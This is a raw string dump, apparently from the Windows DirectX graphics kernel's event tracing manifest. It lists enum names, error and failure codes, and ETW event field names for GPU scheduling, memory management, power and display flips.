DXGK_VGPU_FAILURE_INVALID_PACKET_SIZE DXGK_VGPU_FAILURE_FAILED_CREATE_HANDLE CreateProcess DestroyProcess OpenSyncObject DestroySyncObject CreateNTSharedObject DestroyNTSharedObject SignalFence NotifyProcessFreeze NotifyProcessThaw QueryEtwSession VSyncEnable VSyncDisableKeepPhase VSyncDisableNoPhase ReprogramInterruptNotFound ReprogramInterruptFoundHwQueuedFlip ReprogramInterruptFoundSwQueuedFlip ReprogramInterruptFoundQueuePacket ReprogramInterruptFoundPendingIFlip CancelFlipsRestart CancelFlipsPresentAtCancel CancelFlipsIFlipExit CancelFlipsDrainRequeue None console Wdd remote Xddm remote none successful warp adapter not found Basic Display adapter not found adapter iteration callback failed no render adapter found no display adapter found no configuration change made not running on desktop SKU VidSchErrorNoError VidSchErrorDeviceNotRecovered VidSchErrorPrepareDmaBuffer VidSchErrorPrepareDmaBufferTryAgainLater VidSchErrorProcessDeferredCommand VidSchErrorFlipToAddress VidSchErrorDriverFaulted VidSchErrorDeviceHung VidSchErrorPrepareDmaBufferSplitPacketPreempted VidSchErrorHardwarePageFault VidSchErrorSoftwarePageFault VidSchErrorEvictValidationFailure VidSchErrorFailedToPageInRequiredResource VidSchErrorFailedProbeAndLockTransfer VidSchErrorDeviceTerminatedForProcessCleanup VidSchErrorEvictingWhileInUse VidSchErrorSubmittingRenderForNonResidentAllocation VidSchErrorHistoryBufferNotResident VidSchErrorMissedPagingFenceSyncronizationForResidentAllocation VidSchErrorFailedSubmitCommandVirtual VidSchErrorInvalidReclaimUsage VidSchErrorFailedUpdateAllocationProperty VidSchErrorDeviceReset VidSchErrorFailedMoveVACommit VidSchErrorFailedMovePaging PartitionedGpu ParavirtualizedGpu WaitForVsync WaitForRendering VsyncTdr UpdateDisplayModeInfoCall EnableVSyncEventWorkerCall EnableVSyncCall DisableHwVSyncWorkerCall NoWaiters VmBusStateChange DisableVSyncCall ResetInternalCall StartupCall RemoteMonitorRecovery StartFailFallbackToSw HostMonitorPowerChange Hardware_Dod Software_Dod Remote_Dod_vGPU Hardware_Full FunctionLevelReset FundamentalWarmReset DriverInternal Present Add to free queue Other Blit Submission Completion Uninitialized (%1) Full (%1) None (%1) Non-critical info missing (%1) Critical missing info (%1) Uninitialized (%1) None (%1) Development (%1) Experimental (%1) Full (%1) Uninitialized (%1) Full (%1) None (%1) Non-critical info missing (%1) Critical missing info (%1) Realtime Timer Paging Idle Idle Task Device Resume Paging Queue State Change Terminations Penalty Box StartAdapter_NoFailures StartAdapter_DdiStartDeviceFailed StartAdapter_InitAdapterFailed StartAdapter_AddAdapterFailed StartAdapter_DisplayDetectControlFailed StartAdapter_GpuVirtualizationInitFailed StartAdapter_OpenDeviceFileObjectFailed StartAdapter_AdapterLuidCreationFailed StartAdapter_AdapterGuidCreationFailed StartAdapter_DxgkInterfaceMemAllocFailed StartAdapter_DpiFdoConnectInterruptFailed StartAdapter_DpiFdoCreateRelatedObjectsFailed StartAdapter_DpiFeatureStartDeviceFailed StartAdapter_DpiGetDevicePropertyStringFailed StartAdapter_FdoIsNotAPostDevice StartAdapter_DpiFdoEnumChildDevicesFailed StartAdapter_GdiViewIdsMemAllocFailed StartAdapter_DxgkAcquireGdiViewIdsFailed StartAdapter_DxgkDdiQueryChildStatusIsNull StartAdapter_DxgkDdiUpdateMonitorLinkInfoIsNull StartAdapter_PostDeviceIsRenderOnly StartAdapter_DxgkCommitGdiViewIdsFailed StartAdapter_IoSetDeviceInterfaceGraphicsPowerFailed StartAdapter_IoSetDeviceInterfaceFdoFailed StartAdapter_IoSetDeviceInterfaceDisplayFailed StartAdapter_DxgkIddDdiSetPreStartPrivateDataFailed StartAdapter_MCDMDeviceNotComputeOnly ColorFill Flip FlipWithNoWait SrcColorKey DstColorKey LinearToSrgb Rotate FlipDoNotFlip PresentToBitmap RedirectedFlip RedirectedBlt FlipStereo PresentHistoryTokenOnly CrossAdapter ContextManagementProcessor CsrssProcess SystemProcess DwmProcess Wow64Process WslProcess LinuxProcess VmmsProcess VmwpProcess VmProcess SessionIsolatedProcess ModeChange FlipImmediate FlipOnNextVSync ProtectedContentBlankedOut RemoteSession Monochrome Color MaskedColor Gamma_Rgb256x3x16 NoScreenToScreenBlt NoOverlapScreenBlt SupportKernelModeCommandBuffer NoSameBitmapAlphaBlend NoSameBitmapStretchBlt NoSameBitmapTransparentBlt NoSameBitmapOverlappedAlphaBlend NoSameBitmapOverlappedStretchBlt DriverSupportsCddDwmInterop Reserved0 SupportAllBltRops SupportMirrorStretchBlt SupportMonoStretchBltModes StagingRectStartPitchAligned NoSameBitmapBitBlt NoSameBitmapOverlappedBitBlt Reserved1 NoTempSurfaceForClearTypeBlend SupportSoftwareDeviceBitmaps FlipOnVSyncWithNoWait FlipOnVSyncMmIo FlipInterval MultiEngineAware RenderSupported DisplaySupported SoftwareDevice PostDevice HybridDiscrete HybridIntegrated IndirectDisplayDevice Paravirtualized ACGSupported SupportSetTimingsFromVidPn Detachable ComputeOnly Prototype SystemContext PagingContext CompanionContext CpuVisible PermanentSysMem Cached Protected ExistingSysMem ExistingKernelSysMem FromEndOfSegment Swizzled Overlay Capture UseAlternateVA SynchronousPaging LinkMirrored LinkInstanced SwapChainBackBuffer SectionSupplied CddCached CddWriteCombined DoDPrimary CddBitmap PinnedBackingStore PagingBuffer Shareable Primary ManagedPrimary PrivateFormat MipMap Cube Volume Vertex Index TRACE_DXGK_LOCK_ALLOCATION_SUCCEEDED TRACE_DXGK_LOCK_ALLOCATION_FAILED_BUSY TRACE_DXGK_LOCK_ALLOCATION_WAITED TRACE_DXGK_LOCK_ALLOCATION_ROTATING TRACE_DXGK_LOCK_ALLOCATION_ROTATING_FAILED TRACE_DXGK_LOCK_ALLOCATION_EVICTING TRACE_DXGK_LOCK_ALLOCATION_EVICTING_FAILED TRACE_DXGK_LOCK_ALLOCATION_LINEARIZE_FAILED TRACE_DXGK_LOCK_ALLOCATION_RENAMING_FAILED TRACE_DXGK_LOCK_ALLOCATION_ALTERNATEVA_FAILED VIDMM_BEGINCPUACCESS_WAIT VIDMM_BEGINCPUACCESS_NO_SYNC VIDMM_BEGINCPUACCESS_DONT_EVICT VIDMM_BEGINCPUACCESS_ACQUIRE_APERTURE VIDMM_BEGINCPUACCESS_DISCARD VIDMM_BEGINCPUACCESS_NOEXISTINGREFERENCE VIDMM_BEGINCPUACCESS_USE_ALTERNATE_VA VIDMM_BEGINCPUACCESS_NO_READ_SYNC VIDMM_ENDCPUACCESS_INVALIDATE_PRIMARY Swizzle Unswizzle AllocationIsIdle TransferStart TransferEnd CacheCoherent Aperture UseBanking PitchAlignment PopulatedFromSystemMemory PreservedDuringStandby PreservedDuringHibernate PartiallyPreservedDuringHibernate DirectFlip Shared NtSecuritySharing DeferredWaits SignalAtSubmission EnqueueCpuEvent ValidatedAgainstMonitorCaps WaitAny Visible D3DKMT_OUTDUPL_POINTER_SHAPE_TYPE_MONOCHROME D3DKMT_OUTDUPL_POINTER_SHAPE_TYPE_COLOR D3DKMT_OUTDUPL_POINTER_SHAPE_TYPE_MASKED_COLOR VerticalFlip HorizontalFlip NominalRange BT709 xvYCC DmaPageFaultWrite DmaPageFaultFenceInvalid DmaPageFaultAdapterResetRequired DmaPageFaultEngineResetRequired DmaPageFaultFatalHardwareError FlipStereo FlipStereoTemporaryMono FlipStereoPreferRight RetryAtLowerIrql PrePresentNeeded HwFlipQueueDrainNeeded HdcpSupport MonitorConnected ReducedModeListDueToBandwidth CreateShared CreateProtected ExistingSysMem CreateWriteCombined CreateCached CreateCrossAdapter OpenCrossAdapter Primary DXGK_PROCESS_STATUS_FOREGROUND DXGK_PROCESS_STATUS_VISIBLE CantTrimFurther MustSucceed AllowFenceRewind VirtualMachineEvent IndirectDisplaySignal Microsoft-Windows-DxgKrnl/Diagnostic Microsoft-Windows-DxgKrnl/Performance Microsoft-Windows-DxgKrnl/Power Microsoft-Windows-DxgKrnl/Contention Microsoft-Windows-DxgKrnl-Admin Microsoft-Windows-DxgKrnl-Operational AdapterTypeMap AllocationFaultReason AllocationFlags BlockThreadReason BltQueueEntryAddReason BltQueueFunction BltQueuePresentDisplayOnlySource BltQueueWakeReason CancelFlipsReason ColorSpaceType ContextFlags ContextStatus D3DDDI_MAKERESIDENT_FLAGS D3DFormat D3DKMDT_GDISURFACETYPE D3DKMT_CANCEL_PRESENTS_OPERATION D3DKMT_MEMORY_SEGMENT_GROUP D3DKMT_OUTDUPL_POINTER_SHAPE_TYPE D3DKMT_OUTPUTDUPL_METADATATYPE D3DKMT_PRESENTFLAGS D3DKM_CREATESTANDARDALLOCATION_FLAGS DISPLAYCONFIG_BUSTYPE DISPLAYCONFIG_DEVICE_INFO_MDM_ADAPTER_RUNTIME_SUPPORT_LEVEL DXGIDDI_PARTITIONING_EVENT_TYPE DXGKVMB_COMMANDTYPE DXGKVMB_COMMANDTYPE_GLOBAL DXGKVMB_COMMANDTYPE_HOST_TO_VM DXGK_BACKLIGHT_OPTIMIZATION_LEVEL DXGK_CRTC_VSYNC_STATE DXGK_DIAG_BDD_FALLBACK_SESSION_TYPE DXGK_DIAG_BDD_FALLBACK_STAGE DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON DXGK_DISPLAYMUX_RUNTIME_STATUS DXGK_DISPLAYMUX_SUPPORT_LEVEL DXGK_ENGINE_TYPE DXGK_FEATURE_ID DXGK_FEATURE_SUPPORT DXGK_PROCESS_STATUS DXGK_VGPU_FAILURE_TYPE DXG_VIRTUAL_GPU_TYPE DeviceClientType DevicePowerTransitionState DiscardFlags DisplayModeFlags DisplayRotation DmaInterruptType DmaPacketType DmaPageFaultFlags DmaPoolTrimmingPolicy DmmClientType DmmVidPnChangeType DxgProcessFlags DxgkChildStatueType FlipCaps FlipEntryStatus FlipmodeType FlushSchedulerReason GammaRampCaps GpuClockDataFlags HDRMetaDataTypeEnum IddSignalEventType Lock2Location LockFlags LockStatus MapApertureFlags MemoryTransferType MiracastCaps MiracastChunkReportViolationType MiracastChunkType MiracastDeviceState MiracastProtocolEvent MiracastSessionInfo MiracastSessionStatus MiracastStartSessionStage MiracastStopSessionReason MiracastStopSessionStage MiracastWatchdogTimeOutStep MultiPlaneOverlayAttributesFlags MultiPlaneOverlayBlend MultiPlaneOverlayScenario MultiPlaneOverlayStretchQuality MultiPlaneOverlayYCbCrFlags OPM_CONNECTOR_TYPE OPM_PROTECTION_TYPE OfferPriority OfferState OutputDuplPresentFlags PendingFlipsForThisEntryReason PerformanceWarningEvent PlacementRestriction PointerCaps PreemptionAttemptResult PresentFlags PresentModel PresentationCaps ProcessCommittedState ProcessPolicyType ProfilerType QuantumStatus QueuePacketType ReprogramInterruptResult START_ADAPTER_FAILURE_REASON ScanLineOrdering SchedulingCaps SchedulingLogContextState SegmentFlags SegmentGroup SegmentPolicyType SetPointerPositionFlags SetVidPnSourceAddressFlags SetVidPnSourceAddressInputFlags SetVidPnSourceAddressOutputFlags SignalFlags SynchronizationObjectFlags TraceReason TransferFlags TrimmingPriorityLimit UnlockFlags UpdateContextRunningTimeReason UsageFlags VIDMM_ALLOCATION_PRIORITY_CLASS VIDMM_BUDGET_PRIORITY_BAND VIDMM_BUDGET_VISIBILITY_STATE VIDMM_OPERATION VIDMM_PAGING_QUEUE_TYPE VIDMM_PENALTY_BOX_BAND VIDMM_PROCESS_HEAP_MAPPING VIDMM_RECYCLE_RANGE_STATE VIDMM_SCHCLASS_TYPE VIDMM_TASK_TYPE VIDMM_VAD_OWNER_TYPE VIDMM_WORKER_THREAD_WAKE_REASON VIDSCH_ERROR_CODE VIDSCH_SIGNAL_FLAGS VsyncEvent VsyncType WaitForSynchronizationObjectFromCpuFlags WorkerThreadEvent YieldConditionStatus YieldPriorityBand EventData Data Name pDeviceObject Data Name Message Data Name BucketingString Data Name DescriptionString Data Name Status pDeviceObject Message BucketingString DescriptionString Status EventData Data Name ProcessHandle Data Name PagingLevel ProcessHandle PagingLevel EventData Data Name AdapterHandle Data Name ComponentIndex Data Name ComponentType Data Name ComponentTypeId Data Name NumberOfIdleStates Data Name ControlGuid Data Name Name Data Name Flags Data Name CurrentFState Data Name CurrentLatencyTolerance AdapterHandle ComponentIndex ComponentType ComponentTypeId NumberOfIdleStates ControlGuid Name Flags CurrentFState CurrentLatencyTolerance EventData Data Name AdapterHandle Data Name Function Data Name Parameters Data Name Status AdapterHandle Function Parameters Status EventData Data Name AdapterHandle Data Name ComponentIndex Data Name FState Data Name NominalPower Data Name TransitionLatency Data Name ResidencyRequirement AdapterHandle ComponentIndex FState NominalPower TransitionLatency ResidencyRequirement EventData Data Name AdapterHandle Data Name ComponentIndex Data Name State AdapterHandle ComponentIndex State EventData Data Name AdapterHandle Data Name ComponentIndex Data Name Latency AdapterHandle ComponentIndex Latency EventData Data Name AdapterHandle Data Name ComponentIndex Data Name Residency AdapterHandle ComponentIndex Residency EventData Data Name AdapterHandle Data Name State AdapterHandle State EventData Data Name AdapterHandle Data Name DevicePowerState Data Name Reason AdapterHandle DevicePowerState Reason EventData Data Name AdapterHandle Data Name State AdapterHandle State EventData Data Name AdapterHandle Data Name DevicePowerState AdapterHandle DevicePowerState EventData Data Name AdapterHandle Data Name ControlGuid AdapterHandle ControlGuid EventData Data Name AdapterHandle Data Name ComponentIndex AdapterHandle ComponentIndex EventData Data Name AdapterHandle Data Name ComponentIndex Data Name NodeIndex Data Name NumberOfPStates Data Name CurrentPState AdapterHandle ComponentIndex NodeIndex NumberOfPStates CurrentPState EventData Data Name AdapterHandle Data Name SupportRuntimePowerManagement AdapterHandle SupportRuntimePowerManagement EventData Data Name AdapterHandle Data Name ntStatus Data Name NumberOfComponents AdapterHandle ntStatus NumberOfComponents EventData Data Name AdapterHandle Data Name NodeIndex Data Name PState Data Name OperatingFrequency AdapterHandle NodeIndex PState OperatingFrequency EventData Data Name AdapterHandle Data Name ComponentIndex Data Name PreviousState Data Name State AdapterHandle ComponentIndex PreviousState State EventData EventData Data Name PerfTrack_Uniqueness_Id PerfTrack_Uniqueness_Id EventData Data Name +Misc_ActiveVidPnBasedDisplayModeListSizeSum Data Name $Misc_UniqueModesFromUnionListSizeSum Data Name %CallCount_GetUniqueModesFromUnionList Data Name /CallCount_DXGADAPTER_DdiEnumVidPnCofuncModality Data Name ICallCount_DXGK_VIDPNSOURCEMODESET_INTERFACE_V1_IMPL_AcquirePinnedModeInfo Data Name ECallCount_DXGK_VIDPNSOURCEMODESET_INTERFACE_V1_IMPL_CreateNewModeInfo Data Name ICallCount_DXGK_VIDPNTARGETMODESET_INTERFACE_V1_IMPL_AcquirePinnedModeInfo Data Name ECallCount_DXGK_VIDPNTARGETMODESET_INTERFACE_V1_IMPL_CreateNewModeInfo Data Name CCallCount_DXGK_VIDPNTOPOLOGY_INTERFACE_V1_IMPL_AcquireFirstPathInfo Data Name BCallCount_DXGK_VIDPNTOPOLOGY_INTERFACE_V1_IMPL_AcquireNextPathInfo Data Name %TickCount_GetUniqueModesFromUnionList Misc_ActiveVidPnBasedDisplayModeListSizeSum Misc_UniqueModesFromUnionListSizeSum CallCount_GetUniqueModesFromUnionList CallCount_DXGADAPTER_DdiEnumVidPnCofuncModality CallCount_DXGK_VIDPNSOURCEMODESET_INTERFACE_V1_IMPL_AcquirePinnedModeInfo CallCount_DXGK_VIDPNSOURCEMODESET_INTERFACE_V1_IMPL_CreateNewModeInfo CallCount_DXGK_VIDPNTARGETMODESET_INTERFACE_V1_IMPL_AcquirePinnedModeInfo CallCount_DXGK_VIDPNTARGETMODESET_INTERFACE_V1_IMPL_CreateNewModeInfo CallCount_DXGK_VIDPNTOPOLOGY_INTERFACE_V1_IMPL_AcquireFirstPathInfo CallCount_DXGK_VIDPNTOPOLOGY_INTERFACE_V1_IMPL_AcquireNextPathInfo TickCount_GetUniqueModesFromUnionList EventData Data Name Type Data Name Source Type Source EventData Data Name hwnd Data Name pDmaBuffer Data Name PresentHistoryToken Data Name hSourceAllocation Data Name hDestAllocation Data Name bSubmit Data Name bRedirectedPresent Data Name Flags Data Name Source.Left Data Name Source.Right Data Name Source.Top Data Name Source.Bottom Data Name Dest.Left Data Name Dest.Right Data Name Dest.Top Data Name Dest.Bottom Data Name SubRectCount hwnd pDmaBuffer PresentHistoryToken hSourceAllocation hDestAllocation bSubmit bRedirectedPresent Flags Source.Left Source.Right Source.Top Source.Bottom Dest.Left Dest.Right Dest.Top Dest.Bottom SubRectCount EventData Data Name pDmaBuffer Data Name FinalEvent Data Name RectCount Data Name Left Data Name Right Data Name Data Name Bottom pDmaBuffer FinalEvent RectCount Left Right Bottom EventData Data Name pDmaBuffer Data Name VidPnSourceId Data Name FlipToAllocation Data Name FlipInterval Data Name FlipWithNoWait Data Name MMIOFlip pDmaBuffer VidPnSourceId FlipToAllocation FlipInterval FlipWithNoWait MMIOFlip EventData Data Name pDmaBuffer pDmaBuffer EventData Data Name pDmaBuffer pDmaBuffer EventData Data Name hAdapter Data Name Token Data Name Model Data Name TokenSize Data Name TokenData Data Name Flags Data Name CustomDuration Data Name VmBusChannel hAdapter Token Model TokenSize TokenData Flags CustomDuration VmBusChannel EventData Data Name EventData Data Name hContext Data Name hQueuePacketContext Data Name PacketType Data Name uliSubmissionId Data Name ulQueueSubmitSequence Data Name pDmaBuffer Data Name QuantumStatus hContext hQueuePacketContext PacketType uliSubmissionId ulQueueSubmitSequence pDmaBuffer QuantumStatus EventData Data Name hHwQueue Data Name ProgressFenceValue Data Name pDmaBuffer Data Name ntStatus Data Name NumberOfQueuedPendingFlip hHwQueue ProgressFenceValue pDmaBuffer ntStatus NumberOfQueuedPendingFlip EventData Data Name hHwQueue Data Name ProgressFenceValue hHwQueue ProgressFenceValue EventData Data Name hContext Data Name PacketType Data Name uliCompletionId Data Name ulQueueSubmitSequence Data Name InterruptType Data Name QuantumStatus Data Name FaultedVirtualAddress Data Name PageFaultFlags Data Name FaultedProcessHandle hContext PacketType uliCompletionId ulQueueSubmitSequence InterruptType QuantumStatus FaultedVirtualAddress PageFaultFlags FaultedProcessHandle EventData Data Name hContext Data Name PacketType Data Name uliCompletionId Data Name ulQueueSubmitSequence Data Name bPreempted hContext PacketType uliCompletionId ulQueueSubmitSequence bPreempted EventData Data Name hContext Data Name PacketType Data Name SubmitSequence Data Name DmaBufferSize Data Name AllocationListSize Data Name PatchLocationListSize Data Name bPresent Data Name hDmaBuffer Data Name pQueuePacket Data Name ProgressFenceValue hContext PacketType SubmitSequence DmaBufferSize AllocationListSize PatchLocationListSize bPresent hDmaBuffer pQueuePacket ProgressFenceValue EventData Data Name hContext Data Name PacketType Data Name SubmitSequence hContext PacketType SubmitSequence EventData Data Name SubmitSequence SubmitSequence EventData Data Name hContext Data Name SubmitSequence Data Name Flags Data Name hSyncObject Data Name FenceValue Data Name pQueuePacket hContext SubmitSequence Flags hSyncObject FenceValue pQueuePacket EventData Data Name hContext Data Name SubmitSequence Data Name Flags Data Name hSyncObject Data Name FenceValue Data Name pQueuePacket Data Name DxgSyncObject hContext SubmitSequence Flags hSyncObject FenceValue pQueuePacket DxgSyncObject EventData Data Name DxgContext Data Name DmaBufferVirtualAddress Data Name AllocationCount DxgContext DmaBufferVirtualAddress AllocationCount EventData Data Name DxgAllocation Data Name DriverHandle Data Name WriteOperation Data Name GpuVirtualAddress DxgAllocation DriverHandle WriteOperation GpuVirtualAddress EventData Data Name hContext Data Name SubmitSequence Data Name Flags Data Name ObjectCount Data Name ObjectArray Data Name FenceValue Data Name pQueuePacket hContext SubmitSequence Flags ObjectCount ObjectArray FenceValue pQueuePacket EventData Data Name hContext Data Name SubmitSequence Data Name Flags Data Name ObjectCount Data Name ObjectArray Data Name FenceValue Data Name pQueuePacket Data Name DxgSyncObjectArray hContext SubmitSequence Flags ObjectCount ObjectArray FenceValue pQueuePacket DxgSyncObjectArray EventData Data Name hContext Data Name PacketType Data Name SubmitSequence hContext PacketType SubmitSequence EventData Data Name hContext Data Name PacketType Data Name SubmitSequence Data Name bPreempted Data Name bTimeouted Data Name pQueuePacket hContext PacketType SubmitSequence bPreempted bTimeouted pQueuePacket EventData Data Name pDxgAdapter Data Name VidPnTargetId Data Name ScannedPhysicalAddress pDxgAdapter VidPnTargetId ScannedPhysicalAddress EventData Data Name pDxgAdapter Data Name VidPnTargetId Data Name ScannedPhysicalAddress pDxgAdapter VidPnTargetId ScannedPhysicalAddress EventData Data Name pDxgAdapter Data Name VidPnTargetId Data Name ScannedPhysicalAddress Data Name VidPnSourceId Data Name FrameNumber Data Name FrameQPCTime Data Name hFlipDevice Data Name FlipType Data Name FlipFenceId pDxgAdapter VidPnTargetId ScannedPhysicalAddress VidPnSourceId FrameNumber FrameQPCTime hFlipDevice FlipType FlipFenceId EventData Data Name AdapterLuid Data Name VidPnTargetId Data Name VidPnSourceId Data Name FrameQPCTime Data Name OldVsyncWaiters Data Name NewVsyncWaiters Data Name VSyncIdleCount AdapterLuid VidPnTargetId VidPnSourceId FrameQPCTime OldVsyncWaiters NewVsyncWaiters VSyncIdleCount EventData Data Name DWMCount Data Name VsyncCount Data Name VsyncFlag Data Name VsyncWaiters Data Name VsyncType DWMCount VsyncCount VsyncFlag VsyncWaiters VsyncType EventData Data Name pDxgAdapter Data Name PlaneCount Data Name PresentIdOrPhysicalAddress Data Name VidPnSourceId Data Name FrameNumber Data Name FlipEntryCount Data Name FlipSubmitSequence Data Name FlipQueues Data Name FlipQueueIntervalTarget Data Name NonBoostedVsyncFrame Data Name InterruptTargetPresentId pDxgAdapter PlaneCount PresentIdOrPhysicalAddress VidPnSourceId FrameNumber FlipEntryCount FlipSubmitSequence FlipQueues FlipQueueIntervalTarget NonBoostedVsyncFrame InterruptTargetPresentId EventData Data Name pDxgAdapter Data Name PlaneCount Data Name ScannedPhysicalAddress Data Name VidPnSourceId Data Name FrameNumber Data Name FlipEntryCount Data Name FlipSubmitSequence Data Name InterruptTargetPresentId pDxgAdapter PlaneCount ScannedPhysicalAddress VidPnSourceId FrameNumber FlipEntryCount FlipSubmitSequence InterruptTargetPresentId EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name PlaneId Data Name FrameNumber Data Name FlipsCompletedCount Data Name PresentId Data Name CompletionTimeStamp pDxgAdapter VidPnSourceId PlaneId FrameNumber FlipsCompletedCount PresentId CompletionTimeStamp EventData Data Name pDxgAdapter Data Name ScannedPhysicalAddress Data Name VidPnSourceId Data Name PresentId Data Name hFlipDevice Data Name FlipType Data Name FlipFenceId pDxgAdapter ScannedPhysicalAddress VidPnSourceId PresentId hFlipDevice FlipType FlipFenceId EventData Data Name hContext Data Name RunningTime Data Name RemainingQuantum Data Name RemainingYieldBudget Data Name QuantumStatus Data Name Reason hContext RunningTime RemainingQuantum RemainingYieldBudget QuantumStatus Reason EventData Data Name pDxgAdapter Data Name EventId pDxgAdapter EventId EventData Data Name hContext Data Name Status Data Name Line hContext Status Line EventData Data Name hContext Data Name PublicPriority Data Name SchedulingPriority Data Name KnownProcessBoostEnabled Data Name HighPriorityRunsToCompletion Data Name IgnoreGpuPriorityChange Data Name SmallQuantumEnabled hContext PublicPriority SchedulingPriority KnownProcessBoostEnabled HighPriorityRunsToCompletion IgnoreGpuPriorityChange SmallQuantumEnabled EventData Data Name hContext Data Name OldPriority Data Name NewPriority hContext OldPriority NewPriority EventData Data Name hContext Data Name AttemptResult hContext AttemptResult EventData Data Name pDxgAdapter Data Name hContext Data Name NodeOrdinal Data Name ReadyContextPriorityMapBits Data Name ReadyNodeSwMapBits Data Name ReadyNodeHwMapBits pDxgAdapter hContext NodeOrdinal ReadyContextPriorityMapBits ReadyNodeSwMapBits ReadyNodeHwMapBits EventData Data Name pDxgAdapter Data Name hContext Data Name NodeOrdinal Data Name ReadyContextPriorityMapBits Data Name NumberOfULongPtrsInNodeMask Data Name ReadyNodeSwMapBits Data Name ReadyNodeHwMapBits pDxgAdapter hContext NodeOrdinal ReadyContextPriorityMapBits NumberOfULongPtrsInNodeMask ReadyNodeSwMapBits ReadyNodeHwMapBits EventData Data Name QueuePacket Data Name hContext QueuePacket hContext EventData Data Name QueuePacket Data Name hContext QueuePacket hContext EventData Data Name Event Data Name WaitConditionCount Data Name FenceValues Data Name SyncObjects Data Name Flags Event WaitConditionCount FenceValues SyncObjects Flags EventData Data Name Event Data Name WaitConditionCount Data Name FenceValues Data Name SyncObjects Data Name Flags Data Name DxgSyncObjects Event WaitConditionCount FenceValues SyncObjects Flags DxgSyncObjects EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name FlipSubmitSequence Data Name FlipToDriverAllocation Data Name FlipToPhysicalAddress Data Name FlipToSegmentId Data Name FlipPresentId Data Name FlipPhysicalAdapterMask Data Name Flags pDxgAdapter VidPnSourceId FlipSubmitSequence FlipToDriverAllocation FlipToPhysicalAddress FlipToSegmentId FlipPresentId FlipPhysicalAdapterMask Flags EventData Data Name pDeviceObject Data Name pDxgAdapter Data Name NbVidPnSources Data Name HighestAcceptableAddress Data Name MaxSlotId Data Name ApertureSegmentCommitLimit Data Name MaxPointerWidth Data Name MaxPointerHeight Data Name InterruptMessageNumber Data Name NumberOfSwizzlingRanges Data Name MaxOverlays Data Name MaxQueuedFlipOnVSync Data Name PointerCaps Data Name GammaRampCaps Data Name PresentationCaps Data Name AlignmentShift Data Name MaxTextureWidthShift Data Name MaxTextureHeightShift Data Name Reserved Data Name FlipCaps Data Name SchedulingCaps Data Name ReservedMemoryManagementCaps Data Name PagingNode Data Name NbAsymetricProcessingNodes Data Name ReservedTopology Data Name NumPowerComponents Data Name AdapterType Data Name pMiniportContext Data Name VirtualGpuLuid pDeviceObject pDxgAdapter NbVidPnSources HighestAcceptableAddress MaxSlotId ApertureSegmentCommitLimit MaxPointerWidth MaxPointerHeight InterruptMessageNumber NumberOfSwizzlingRanges MaxOverlays MaxQueuedFlipOnVSync PointerCaps GammaRampCaps PresentationCaps AlignmentShift MaxTextureWidthShift MaxTextureHeightShift Reserved FlipCaps SchedulingCaps ReservedMemoryManagementCaps PagingNode NbAsymetricProcessingNodes ReservedTopology NumPowerComponents AdapterType pMiniportContext VirtualGpuLuid EventData Data Name pDxgAdapter Data Name FeatureId Data Name Enabled Data Name DriverSupportState pDxgAdapter FeatureId Enabled DriverSupportState EventData Data Name hProcessId Data Name pDxgAdapter Data Name ClientType Data Name hDevice Data Name RequestVSync Data Name DisableGpuTimeout Data Name hThunkHandle Data Name DxgProcess Data Name HostDeviceHandle Data Name VirtualGpu hProcessId pDxgAdapter ClientType hDevice RequestVSync DisableGpuTimeout hThunkHandle DxgProcess HostDeviceHandle VirtualGpu EventData Data Name hDevice Data Name NodeOrdinal Data Name EngineAffinity Data Name DmaBufferSize Data Name DmaBufferSegmentSet Data Name DmaBufferPrivateDataSize Data Name AllocationListSize Data Name PatchLocationListSize Data Name Flags Data Name hContext Data Name ContextHandle Data Name ParentDxgContext hDevice NodeOrdinal EngineAffinity DmaBufferSize DmaBufferSegmentSet DmaBufferPrivateDataSize AllocationListSize PatchLocationListSize Flags hContext ContextHandle ParentDxgContext EventData Data Name hContext Data Name hHwQueue Data Name ParentDxgHwQueue hContext hHwQueue ParentDxgHwQueue EventData Data Name hProcessId Data Name hDevice Data Name pDxgAdapter Data Name Flags Data Name allocSize Data Name ulAlignment Data Name dwReadSegment Data Name dwWriteSegment Data Name PreferredSegment Data Name HintedBank Data Name dwEvictionSegment Data Name Priority Data Name hVidMmGlobalAlloc Data Name hDxgGlobalAlloc Data Name hDxgSharedResource Data Name UsageVersion Data Name UsageFlags Data Name Format Data Name SwizzledFormat Data Name ByteOffset Data Name Width Data Name Height Data Name Pitch Data Name Depth Data Name SlicePitch Data Name BackingStoreWasPinned Data Name pSectionObject Data Name PhysicalAdapterIndex Data Name PageTableOrDirectory hProcessId hDevice pDxgAdapter Flags allocSize ulAlignment dwReadSegment dwWriteSegment PreferredSegment HintedBank dwEvictionSegment Priority hVidMmGlobalAlloc hDxgGlobalAlloc hDxgSharedResource UsageVersion UsageFlags Format SwizzledFormat ByteOffset Width Height Pitch Depth SlicePitch BackingStoreWasPinned pSectionObject PhysicalAdapterIndex PageTableOrDirectory EventData Data Name hProcessId Data Name hDevice Data Name pDxgAdapter Data Name hVidMmAlloc Data Name hVidMmGlobalAlloc Data Name hDxgResource Data Name hDxgSharedResource Data Name hThunkAllocation Data Name hThunkResource Data Name PrivateRuntimeResourceHandle Data Name pVirtualAddress Data Name hProcessAllocDetails Data Name hOtherPartitionHandle hProcessId hDevice pDxgAdapter hVidMmAlloc hVidMmGlobalAlloc hDxgResource hDxgSharedResource hThunkAllocation hThunkResource PrivateRuntimeResourceHandle pVirtualAddress hProcessAllocDetails hOtherPartitionHandle EventData Data Name hVidMmAlloc hVidMmAlloc EventData Data Name hDevice Data Name hAllocationHandle Data Name dwFlags Data Name uiLockStatus hDevice hAllocationHandle dwFlags uiLockStatus EventData Data Name hDevice Data Name hAllocationHandle Data Name dwFlags hDevice hAllocationHandle dwFlags EventData Data Name pAlloc Data Name Flags Data Name Location Data Name bFallbackToSystemMemory pAlloc Flags Location bFallbackToSystemMemory EventData Data Name pAlloc pAlloc EventData Data Name hContext Data Name pDmaBuffer Data Name uiNbAllocations Data Name Allocations Data Name Write hContext pDmaBuffer uiNbAllocations Allocations Write EventData Data Name hContext Data Name SubmitSequence Data Name uiNbWrittenPrimaries Data Name WrittenPrimaries Data Name pQueuePacket hContext SubmitSequence uiNbWrittenPrimaries WrittenPrimaries pQueuePacket EventData Data Name hContext Data Name pDmaBuffer Data Name PatchLocationCount Data Name PatchLocationAllocationIndex Data Name PatchLocationSlotId Data Name PatchLocationReserved Data Name PatchLocationDriverId Data Name PatchLocationAllocationOffset Data Name PatchLocationPatchOffset Data Name PatchLocationSplitOffset 